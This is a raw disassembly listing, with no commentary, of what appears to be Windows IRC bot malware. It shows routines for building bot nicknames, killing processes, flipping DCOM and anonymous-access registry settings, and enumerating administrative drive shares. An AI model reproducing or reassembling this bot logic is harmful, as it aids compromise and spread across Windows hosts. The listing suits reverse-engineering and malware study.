push 1F0FFFh
call dword_42111C ; OpenProcess
mov esi, eax
test esi, esi
jz short loc_414093
push 0
push esi
call dword_421140 ; TerminateProcess
test eax, eax
jnz short loc_414093
push esi
xor edi, edi
call dword_42106C ; CloseHandle
loc_414093: ; CODE XREF: sub_414061+1Aj
; sub_414061+27j
mov eax, edi
pop edi
pop esi
retn
sub_414061 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414098 proc near ; CODE XREF: sub_4036D4+Ap
; sub_403C8B+16p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call sub_415543
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul dbl_421668
call sub_415F8C
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_414098 endp
; =============== S U B R O U T I N E =======================================
sub_4140C8 proc near ; CODE XREF: sub_414433+49p
; DATA XREF: .nsp0:off_437530o
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
push esi
push edi
call dword_42104C ; GetTickCount
push eax
call sub_415539
mov edi, [esp+0Ch+arg_0]
mov [esp+0Ch+var_C], offset dword_42C228
push offset aS_1 ; "%s"
push 1Ch
push edi
call sub_415A6A
xor esi, esi
add esp, 10h
cmp dword_42C1A0, esi
jle short loc_414121
loc_4140FB: ; CODE XREF: sub_4140C8+57j
call sub_415543
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_437584
push 1Ch
push edi
call sub_415A6A
add esp, 14h
inc esi
cmp esi, dword_42C1A0
jl short loc_4140FB
loc_414121: ; CODE XREF: sub_4140C8+31j
mov eax, edi
pop edi
pop esi
retn
sub_4140C8 endp
; =============== S U B R O U T I N E =======================================
sub_414126 proc near ; CODE XREF: sub_40CE55+3D4Ep
arg_0 = dword ptr 4
push ebx
push esi
push edi
call dword_42104C ; GetTickCount
push eax
call sub_415539
pop ecx
call sub_415543
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_42C1A0
test esi, esi
jle short loc_414169
loc_414153: ; CODE XREF: sub_414126+41j
call sub_415543
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_414153
loc_414169: ; CODE XREF: sub_414126+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_414126 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and dword ptr [ebp-4], 0
push esi
push edi
mov dword ptr [ebp-8], 100h
call dword_42104C ; GetTickCount
push eax
call sub_415539
pop ecx
lea eax, [ebp-8]
mov esi, offset byte_43758C
push eax
push esi
call dword_42113C ; GetComputerNameA
movsx eax, byte_43758C
push 41h
pop ecx
push 1
pop edx
loc_4141AF: ; CODE XREF: .nsp0:004141BAj
cmp eax, ecx
jnz short loc_4141B6
mov [ebp-4], edx
loc_4141B6: ; CODE XREF: .nsp0:004141B1j
inc ecx
cmp ecx, 5Bh
jl short loc_4141AF
push 61h
pop ecx
loc_4141BF: ; CODE XREF: .nsp0:004141CAj
cmp eax, ecx
jnz short loc_4141C6
mov [ebp-4], edx
loc_4141C6: ; CODE XREF: .nsp0:004141C1j
inc ecx
cmp ecx, 7Bh
jl short loc_4141BF
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_415A6A
xor esi, esi
add esp, 0Ch
cmp dword_42C1A0, esi
jle short loc_41420B
loc_4141E5: ; CODE XREF: .nsp0:00414209j
call sub_415543
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_437584
push 1Ch
push edi
call sub_415A6A
add esp, 14h
inc esi
cmp esi, dword_42C1A0
jl short loc_4141E5
loc_41420B: ; CODE XREF: .nsp0:004141E3j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call dword_42104C ; GetTickCount
push eax
call sub_415539
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
call dword_421144 ; GetLocaleInfoA
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_437590
push 1Ch
push edi
call sub_415A6A
xor esi, esi
add esp, 10h
cmp dword_42C1A0, esi
jle short loc_414280
loc_41425A: ; CODE XREF: .nsp0:0041427Ej
call sub_415543
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_437584
push 1Ch
push edi
call sub_415A6A
add esp, 14h
inc esi
cmp esi, dword_42C1A0
jl short loc_41425A
loc_414280: ; CODE XREF: .nsp0:00414258j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset byte_438FBC
mov dword ptr [ebp-94h], 94h
call dword_42110C ; GetVersionExA
call dword_42104C ; GetTickCount
push eax
call sub_415539
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_41430A
cmp dword ptr [ebp-8Ch], 0
jnz short loc_4142EA
cmp dword ptr [ebp-84h], 1
jnz short loc_4142DA
mov esi, offset a95 ; "95"
loc_4142DA: ; CODE XREF: .nsp0:004142D3j
cmp dword ptr [ebp-84h], 2
jnz short loc_414346
mov esi, offset aNt ; "NT"
jmp short loc_414346
; ---------------------------------------------------------------------------
loc_4142EA: ; CODE XREF: .nsp0:004142CAj
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_4142FA
mov esi, offset a98 ; "98"
jmp short loc_414346
; ---------------------------------------------------------------------------
loc_4142FA: ; CODE XREF: .nsp0:004142F1j
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_414341
mov esi, offset aMe ; "ME"
jmp short loc_414346
; ---------------------------------------------------------------------------
loc_41430A: ; CODE XREF: .nsp0:004142C1j
cmp dword ptr [ebp-90h], 5
jnz short loc_414341
cmp dword ptr [ebp-8Ch], 0
jnz short loc_414323
mov esi, offset a2k ; "2K"
jmp short loc_414346
; ---------------------------------------------------------------------------
loc_414323: ; CODE XREF: .nsp0:0041431Aj
cmp dword ptr [ebp-8Ch], 1
jnz short loc_414333
mov esi, offset aXp ; "XP"
jmp short loc_414346
; ---------------------------------------------------------------------------
loc_414333: ; CODE XREF: .nsp0:0041432Aj
cmp dword ptr [ebp-8Ch], 2
mov esi, offset dword_43759C
jz short loc_414346
loc_414341: ; CODE XREF: .nsp0:00414301j
; .nsp0:00414311j
mov esi, offset dword_42B7D0
loc_414346: ; CODE XREF: .nsp0:004142E1j
; .nsp0:004142E8j ...
mov edi, [ebp+8]
push esi
push offset dword_437594
push 1Ch
push edi
call sub_415A6A
xor esi, esi
add esp, 10h
cmp dword_42C1A0, esi
jle short loc_41438A
loc_414364: ; CODE XREF: .nsp0:00414388j
call sub_415543
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_437584
push 1Ch
push edi
call sub_415A6A
add esp, 14h
inc esi
cmp esi, dword_42C1A0
jl short loc_414364
loc_41438A: ; CODE XREF: .nsp0:00414362j
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414390 proc near ; CODE XREF: sub_414433+5Cp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call dword_42104C ; GetTickCount
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc ; "mIRC"
mov esi, eax
cmp esi, 64h
jbe short loc_4143DF
call dword_43A3A4
test eax, eax
mov eax, offset dword_4375A8
jnz short loc_4143C8
mov eax, offset byte_438FBC
loc_4143C8: ; CODE XREF: sub_414390+31j
push eax
push esi
push offset dword_4375A0
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_415A6A
add esp, 14h
jmp short loc_4143FF
; ---------------------------------------------------------------------------
loc_4143DF: ; CODE XREF: sub_414390+22j
call dword_43A3A4
test eax, eax
mov eax, offset dword_4375A8
jnz short loc_4143F3
mov eax, offset byte_438FBC
loc_4143F3: ; CODE XREF: sub_414390+5Cj
push eax
lea eax, [ebp+var_1C]
push eax
call sub_4154E7
pop ecx
pop ecx
loc_4143FF: ; CODE XREF: sub_414390+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_415CF0
pop ecx
cmp eax, 2
pop esi
jbe short loc_41442E
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_416F10
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_416D40
add esp, 18h
loc_41442E: ; CODE XREF: sub_414390+7Dj
mov eax, [ebp+arg_0]
leave
retn
sub_414390 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414433 proc near ; CODE XREF: sub_40CB75+7Fp
; sub_40CCDD+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_43752C
loc_41443F: ; CODE XREF: sub_414433+3Fj
cmp [ebp+arg_C], 0
jz short loc_41445A
lea eax, [esi-0Ch]
push eax
push [ebp+arg_C]
call sub_415910
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_414464
; ---------------------------------------------------------------------------
loc_41445A: ; CODE XREF: sub_414433+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_414464: ; CODE XREF: sub_414433+25j
test eax, eax
jnz short loc_414476
add esi, 14h
inc edi
cmp esi, offset dword_437590
jl short loc_41443F
jmp short loc_414484
; ---------------------------------------------------------------------------
loc_414476: ; CODE XREF: sub_414433+33j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call off_437530[eax*4]
pop ecx
loc_414484: ; CODE XREF: sub_414433+41j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_414497
push [ebp+arg_0]
call sub_414390
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_414497: ; CODE XREF: sub_414433+57j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_414433 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41449C proc near ; DATA XREF: sub_414569+7Bo
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0B8h
mov eax, [ebp+arg_0]
push esi
push edi
push 2Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_B8]
push 1
rep movsd
pop esi
mov [eax+0A4h], esi
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_415570
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_34]
call dword_43A398
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_43A418
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_41455A
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_43A340
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_43F534[ecx], esi
jz short loc_41455A
push [ebp+var_34]
push [ebp+var_28]
call dword_43A424
push eax
mov edi, offset dword_469264
push offset unk_4375AC
push edi
call sub_4154E7
push 0
lea eax, [ebp+var_B4]
push [ebp+var_20]
push edi
push eax
push [ebp+var_B8]
call sub_412D4C
push edi
call sub_40B16D
add esp, 28h
loc_41455A: ; CODE XREF: sub_41449C+5Dj
; sub_41449C+7Ej
push esi
call dword_43A430
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_41449C endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_414569 proc near ; DATA XREF: sub_40CE55+34B1o
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 130h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Ah
mov esi, ebx
pop ecx
lea edi, [ebp+var_B0]
rep movsd
mov esi, dword_421060
mov dword ptr [ebx+0A0h], 1
xor edi, edi
loc_414597: ; CODE XREF: sub_414569+ECj
push [ebp+var_2C]
push [ebp+var_20]
call dword_43A424
push eax
lea eax, [ebp+var_130]
push offset unk_4375E8
push eax
call sub_4154E7
lea eax, [ebp+var_130]
push 1FFh
push eax
mov eax, [ebp+var_24]
imul eax, 234h
add eax, offset dword_43F328
push eax
call sub_416D40
add esp, 1Ch
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_B0]
push edi
push eax
push offset sub_41449C
push edi
push edi
call dword_42108C ; CreateThread
cmp eax, edi
mov [ebp+var_4], eax
jz short loc_414603
loc_4145F8: ; CODE XREF: sub_414569+98j
cmp [ebp+var_C], edi
jnz short loc_414603
push 32h
call esi ; Sleep
jmp short loc_4145F8
; ---------------------------------------------------------------------------
loc_414603: ; CODE XREF: sub_414569+8Dj
; sub_414569+92j
push [ebp+var_4]
call dword_42106C ; CloseHandle
push dword ptr [ebx+88h]
mov [ebx+0A4h], edi
call esi ; Sleep
lea eax, [ebp+var_20]
push 4
push eax
lea eax, [ebp+arg_0]
push eax
call sub_4155D0
add esp, 0Ch
push [ebp+arg_0]
call dword_43A2CC
inc eax
push eax
mov [ebp+arg_0], eax
call dword_43A394
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
lea eax, [ebp+var_20]
push eax
call sub_4155D0
add esp, 0Ch
jmp loc_414597
sub_414569 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41465A proc near ; DATA XREF: sub_40CE55+59A9o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_4146A1
call sub_4146BA
jmp short loc_4146A6
; ---------------------------------------------------------------------------
loc_4146A1: ; CODE XREF: sub_41465A+3Ej
call sub_4149DE
loc_4146A6: ; CODE XREF: sub_41465A+45j
add esp, 10h
push [ebp+var_14]
call sub_4152AF
pop ecx
push 0
call dword_421048 ; ExitThread
sub_41465A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4146BA proc near ; CODE XREF: sub_41465A+40p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_43A468, edi
jnz loc_4147EC
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_43A408
test eax, eax
jnz short loc_414745
mov ax, word_4379D0
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_43A3BC
test eax, eax
jz short loc_414727
push offset unk_43798C
jmp short loc_41472C
; ---------------------------------------------------------------------------
loc_414727: ; CODE XREF: sub_4146BA+64j
push offset dword_43795C
loc_41472C: ; CODE XREF: sub_4146BA+6Bj
lea eax, [ebp+var_214]
push eax
call sub_4154E7
pop ecx
pop ecx
push [ebp+var_4]
call dword_43A374
jmp short loc_414758
; ---------------------------------------------------------------------------
loc_414745: ; CODE XREF: sub_4146BA+36j
lea eax, [ebp+var_214]
push offset unk_437918
push eax
call sub_4154E7
pop ecx
pop ecx
loc_414758: ; CODE XREF: sub_4146BA+89j
cmp [ebp+arg_C], edi
jnz short loc_414777
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_414777: ; CODE XREF: sub_4146BA+A1j
lea eax, [ebp+var_214]
push eax
call sub_40B16D
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_43A408
test eax, eax
jnz short loc_4147E5
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call dword_43A3BC
test eax, eax
jz short loc_4147C7
push offset unk_4378B4
jmp short loc_4147CC
; ---------------------------------------------------------------------------
loc_4147C7: ; CODE XREF: sub_4146BA+104j
push offset unk_43786C
loc_4147CC: ; CODE XREF: sub_4146BA+10Bj
lea eax, [ebp+var_214]
push eax
call sub_4154E7
pop ecx
pop ecx
push [ebp+var_4]
call dword_43A374
jmp short loc_4147FF
; ---------------------------------------------------------------------------
loc_4147E5: ; CODE XREF: sub_4146BA+E2j
push offset unk_43781C
jmp short loc_4147F1
; ---------------------------------------------------------------------------
loc_4147EC: ; CODE XREF: sub_4146BA+13j
push offset unk_4377D8
loc_4147F1: ; CODE XREF: sub_4146BA+130j
lea eax, [ebp+var_214]
push eax
call sub_4154E7
pop ecx
pop ecx
loc_4147FF: ; CODE XREF: sub_4146BA+129j
cmp [ebp+arg_C], edi
jnz short loc_41481E
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_41481E: ; CODE XREF: sub_4146BA+148j
lea eax, [ebp+var_214]
push eax
call sub_40B16D
cmp dword_43A490, edi
pop ecx
jnz loc_414999
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_414841: ; CODE XREF: sub_4146BA+2C3j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call dword_43A2E4
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_4148DE
cmp eax, 0EAh
jz short loc_4148DE
mov esi, offset off_437628
loc_414872: ; CODE XREF: sub_4146BA+21Dj
push dword ptr [esi]
push edi
call sub_41339D
pop ecx
pop ecx
push dword ptr [esi]
test eax, eax
jnz short loc_414889
push offset unk_4377A0
jmp short loc_41488E
; ---------------------------------------------------------------------------
loc_414889: ; CODE XREF: sub_4146BA+1C6j
push offset unk_437760
loc_41488E: ; CODE XREF: sub_4146BA+1CDj
lea eax, [ebp+var_214]
push 200h
push eax
call sub_415A6A
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_4148C1
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_4148C1: ; CODE XREF: sub_4146BA+1EBj
lea eax, [ebp+var_214]
push eax
call sub_40B16D
add esi, 8
pop ecx
cmp esi, offset dword_437648
jl short loc_414872
jmp loc_414976
; ---------------------------------------------------------------------------
loc_4148DE: ; CODE XREF: sub_4146BA+1AAj
; sub_4146BA+1B1j
mov esi, [ebp+var_8]
push 1
pop ebx
cmp [ebp+var_4], ebx
jb loc_41496D
loc_4148ED: ; CODE XREF: sub_4146BA+2AFj
mov edi, [esi]
push edi
call sub_4179DC
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_414962
push edi
call sub_41328A
push eax
push 0
call sub_41339D
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41491C
push offset unk_437728
jmp short loc_414921
; ---------------------------------------------------------------------------
loc_41491C: ; CODE XREF: sub_4146BA+259j
push offset unk_4376E8
loc_414921: ; CODE XREF: sub_4146BA+260j
lea eax, [ebp+var_214]
push 200h
push eax
call sub_415A6A
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_414955
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_414955: ; CODE XREF: sub_4146BA+27Fj
lea eax, [ebp+var_214]
push eax
call sub_40B16D
pop ecx
loc_414962: ; CODE XREF: sub_4146BA+242j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_4148ED
xor edi, edi
loc_41496D: ; CODE XREF: sub_4146BA+22Dj
push [ebp+var_8]
call dword_43A428
loc_414976: ; CODE XREF: sub_4146BA+21Fj
cmp [ebp+var_10], 0EAh
jz loc_414841
lea eax, [ebp+var_214]
push offset unk_4376AC
push eax
call sub_4154E7
pop ecx
pop ecx
pop ebx
jmp short loc_4149AC
; ---------------------------------------------------------------------------
loc_414999: ; CODE XREF: sub_4146BA+177j
lea eax, [ebp+var_214]
push offset unk_437668
push eax
call sub_4154E7
pop ecx
pop ecx
loc_4149AC: ; CODE XREF: sub_4146BA+2DDj
cmp [ebp+arg_C], edi
jnz short loc_4149CA
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_4149CA: ; CODE XREF: sub_4146BA+2F5j
lea eax, [ebp+var_214]
push eax
call sub_40B16D
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
sub_4146BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4149DE proc near ; CODE XREF: sub_41465A:loc_4146A1p
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp dword_43A468, ebx
push esi
jnz loc_414B0C
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_43A408
test eax, eax
jnz short loc_414A69
mov ax, word_437BD8
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_43A3BC
test eax, eax
jz short loc_414A4B
push offset unk_437BA0
jmp short loc_414A50
; ---------------------------------------------------------------------------
loc_414A4B: ; CODE XREF: sub_4149DE+64j
push offset dword_437B70
loc_414A50: ; CODE XREF: sub_4149DE+6Bj
lea eax, [ebp+var_220]
push eax
call sub_4154E7
pop ecx
pop ecx
push [ebp+var_4]
call dword_43A374
jmp short loc_414A7C
; ---------------------------------------------------------------------------
loc_414A69: ; CODE XREF: sub_4149DE+36j
lea eax, [ebp+var_220]
push offset unk_437918
push eax
call sub_4154E7
pop ecx
pop ecx
loc_414A7C: ; CODE XREF: sub_4149DE+89j
cmp [ebp+arg_C], ebx
jnz short loc_414A9B
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_414A9B: ; CODE XREF: sub_4149DE+A1j
lea eax, [ebp+var_220]
push eax
call sub_40B16D
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_43A408
test eax, eax
jnz short loc_414B05
lea eax, [ebp+var_8]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], ebx
call dword_43A3BC
test eax, eax
jz short loc_414AE7
push offset unk_437B20
jmp short loc_414AEC
; ---------------------------------------------------------------------------
loc_414AE7: ; CODE XREF: sub_4149DE+100j
push offset unk_437AD8
loc_414AEC: ; CODE XREF: sub_4149DE+107j
lea eax, [ebp+var_220]
push eax
call sub_4154E7
pop ecx
pop ecx
push [ebp+var_4]
call dword_43A374
jmp short loc_414B1F
; ---------------------------------------------------------------------------
loc_414B05: ; CODE XREF: sub_4149DE+E2j
push offset unk_437A88
jmp short loc_414B11
; ---------------------------------------------------------------------------
loc_414B0C: ; CODE XREF: sub_4149DE+13j
push offset unk_4377D8
loc_414B11: ; CODE XREF: sub_4149DE+12Cj
lea eax, [ebp+var_220]
push eax
call sub_4154E7
pop ecx
pop ecx
loc_414B1F: ; CODE XREF: sub_4149DE+125j
cmp [ebp+arg_C], ebx
jnz short loc_414B3E
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_414B3E: ; CODE XREF: sub_4149DE+144j
lea eax, [ebp+var_220]
push eax
call sub_40B16D
cmp dword_43A490, ebx
pop ecx
jnz loc_414CB0
push edi
mov esi, offset off_437628
mov edi, 200h
loc_414B62: ; CODE XREF: sub_4149DE+1E9j
push dword ptr [esi+4]
push dword ptr [esi]
push ebx
call sub_4132F1
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_414B7D
push offset unk_437A54
jmp short loc_414B82
; ---------------------------------------------------------------------------
loc_414B7D: ; CODE XREF: sub_4149DE+196j
push offset unk_437A18
loc_414B82: ; CODE XREF: sub_4149DE+19Dj
lea eax, [ebp+var_220]
push edi
push eax
call sub_415A6A
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_414BB1
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_414BB1: ; CODE XREF: sub_4149DE+1B7j
lea eax, [ebp+var_220]
push eax
call sub_40B16D
add esi, 8
pop ecx
cmp esi, offset off_437638
jl short loc_414B62
call dword_421148 ; GetLogicalDrives
test eax, eax
mov [ebp+var_4], eax
mov bl, 41h
jz loc_414C98
loc_414BDC: ; CODE XREF: sub_4149DE+2B4j
mov eax, [ebp+var_4]
and eax, 1
cmp al, 1
jnz loc_414C8D
cmp bl, 41h
jz loc_414C8D
movsx esi, bl
push esi
push offset aC_3 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_415A6A
push esi
push offset aC_2 ; "%c:\\"
lea eax, [ebp+var_20]
push 0Ah
push eax
call sub_415A6A
add esp, 20h
lea eax, [ebp+var_20]
push eax
call dword_43A3F8
cmp eax, 3
jnz short loc_414C8D
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
call sub_4132F1
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
jnz short loc_414C4B
push offset unk_437A54
jmp short loc_414C50
; ---------------------------------------------------------------------------
loc_414C4B: ; CODE XREF: sub_4149DE+264j
push offset unk_437A18
loc_414C50: ; CODE XREF: sub_4149DE+26Bj
lea eax, [ebp+var_220]
push edi
push eax
call sub_415A6A
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_414C80
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_414C80: ; CODE XREF: sub_4149DE+286j
lea eax, [ebp+var_220]
push eax
call sub_40B16D
pop ecx
loc_414C8D: ; CODE XREF: sub_4149DE+206j
; sub_4149DE+20Fj ...
inc bl
shr [ebp+var_4], 1
jnz loc_414BDC
loc_414C98: ; CODE XREF: sub_4149DE+1F8j
lea eax, [ebp+var_220]
push offset unk_4379D4
push eax
call sub_4154E7
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_414CC3
; ---------------------------------------------------------------------------
loc_414CB0: ; CODE XREF: sub_4149DE+173j
lea eax, [ebp+var_220]
push offset unk_437668
push eax
call sub_4154E7
pop ecx
pop ecx
loc_414CC3: ; CODE XREF: sub_4149DE+2D0j
cmp [ebp+arg_C], ebx
jnz short loc_414CE1
push ebx
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_414CE1: ; CODE XREF: sub_4149DE+2E8j
lea eax, [ebp+var_220]
push eax
call sub_40B16D
pop ecx
push 1
pop eax
pop esi
pop ebx
leave
retn
sub_4149DE endp
; =============== S U B R O U T I N E =======================================
sub_414CF5 proc near ; CODE XREF: sub_414D15+Ap
; sub_414DED+8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_415CF0
push [esp+8+arg_4]
mov esi, eax
call sub_415CF0
pop ecx
lea eax, [esi+eax*2+0C1h]
pop ecx
pop esi
retn
sub_414CF5 endp
; =============== S U B R O U T I N E =======================================
